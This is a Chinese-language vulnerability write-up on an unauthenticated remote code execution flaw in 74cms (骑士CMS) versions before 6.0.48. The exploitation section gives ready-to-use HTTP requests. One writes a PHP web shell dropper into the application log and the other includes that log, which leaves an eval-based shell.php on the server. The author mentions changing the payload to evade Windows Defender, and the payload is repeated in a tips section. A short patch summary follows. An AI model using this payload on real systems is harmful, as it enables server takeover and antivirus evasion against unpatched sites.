0x00 简介
骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案。
0x01 漏洞概述
骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。
0x02 影响版本
骑士 CMS < 6.0.48
0x03 环境搭建
1、下载最新版74cms。
https://www.74cms.com/download/index.html
2、使用phpstudy进行搭建。
进入upload目录即可进入安装程序。
0x04 漏洞利用
1、首先通过日志写入Payload。这么写payload因为测试环境我的Defender报毒了,就简单变形一下即可绕过。
POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
2、包含日志。默认日志位置为data/Runtime/Logs/Home/Y_M_D.log
POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
variable=1&tpl=data/Runtime/Logs/Home/20_12_16.log
3、此时根目录下就会生成shell.php文件。
4、连接即可。
0x05 修复方式
http://www.74cms.com/news/show-2497.html
从官方公布的信息来看,官方修复了两个地方:
1、/Application/Common/Controller/BaseController.class.php
左图修复前,右图为修复后。
$view->parseTemplate对$tpl参数进行处理,并对处理结果$tpl_file进行is_file判断。后续主要判断传入的是否为文件。
2、/ThinkPHP/Library/Think/View.class.php
左图修复前,右图为修复后。
主要更改的是,新版本日志不再包含模板名称。也就无法写入payload。
0x06 Tips:
payload:
variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
将PHP代码写入文件时,$符号需要使用反斜杠进行转义,否则会被识别为变量从而报错。